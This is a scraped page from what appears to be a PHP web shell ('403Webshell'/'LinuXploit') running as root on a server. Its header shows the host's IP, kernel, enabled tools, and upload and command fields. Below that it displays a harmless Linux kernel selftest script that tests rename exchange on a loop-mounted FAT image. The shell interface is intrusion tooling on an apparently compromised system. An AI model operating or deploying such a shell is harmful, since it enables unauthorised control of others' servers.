403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.216.164
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/src/linux-headers-6.8.0-134/tools/testing/selftests/filesystems/fat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-6.8.0-134/tools/testing/selftests/filesystems/fat/run_fat_tests.sh
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
#
# Run filesystem operations tests on an 1 MiB disk image that is formatted with
# a vfat filesystem and mounted in a temporary directory using a loop device.
#
# Copyright 2022 Red Hat Inc.
# Author: Javier Martinez Canillas <javierm@redhat.com>

set -e
set -u
set -o pipefail

BASE_DIR="$(dirname $0)"
TMP_DIR="$(mktemp -d /tmp/fat_tests_tmp.XXXXXX)"
IMG_PATH="${TMP_DIR}/fat.img"
MNT_PATH="${TMP_DIR}/mnt"

cleanup()
{
    mountpoint -q "${MNT_PATH}" && unmount_image
    rm -rf "${TMP_DIR}"
}
trap cleanup SIGINT SIGTERM EXIT

create_loopback()
{
    touch "${IMG_PATH}"
    chattr +C "${IMG_PATH}" >/dev/null 2>&1 || true

    truncate -s 1M "${IMG_PATH}"
    mkfs.vfat "${IMG_PATH}" >/dev/null 2>&1
}

mount_image()
{
    mkdir -p "${MNT_PATH}"
    sudo mount -o loop "${IMG_PATH}" "${MNT_PATH}"
}

rename_exchange_test()
{
    local rename_exchange="${BASE_DIR}/rename_exchange"
    local old_path="${MNT_PATH}/old_file"
    local new_path="${MNT_PATH}/new_file"

    echo old | sudo tee "${old_path}" >/dev/null 2>&1
    echo new | sudo tee "${new_path}" >/dev/null 2>&1
    sudo "${rename_exchange}" "${old_path}" "${new_path}" >/dev/null 2>&1
    sudo sync -f "${MNT_PATH}"
    grep new "${old_path}" >/dev/null 2>&1
    grep old "${new_path}" >/dev/null 2>&1
}

rename_exchange_subdir_test()
{
    local rename_exchange="${BASE_DIR}/rename_exchange"
    local dir_path="${MNT_PATH}/subdir"
    local old_path="${MNT_PATH}/old_file"
    local new_path="${dir_path}/new_file"

    sudo mkdir -p "${dir_path}"
    echo old | sudo tee "${old_path}" >/dev/null 2>&1
    echo new | sudo tee "${new_path}" >/dev/null 2>&1
    sudo "${rename_exchange}" "${old_path}" "${new_path}" >/dev/null 2>&1
    sudo sync -f "${MNT_PATH}"
    grep new "${old_path}" >/dev/null 2>&1
    grep old "${new_path}" >/dev/null 2>&1
}

unmount_image()
{
    sudo umount "${MNT_PATH}" &> /dev/null
}

create_loopback
mount_image
rename_exchange_test
rename_exchange_subdir_test
unmount_image

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit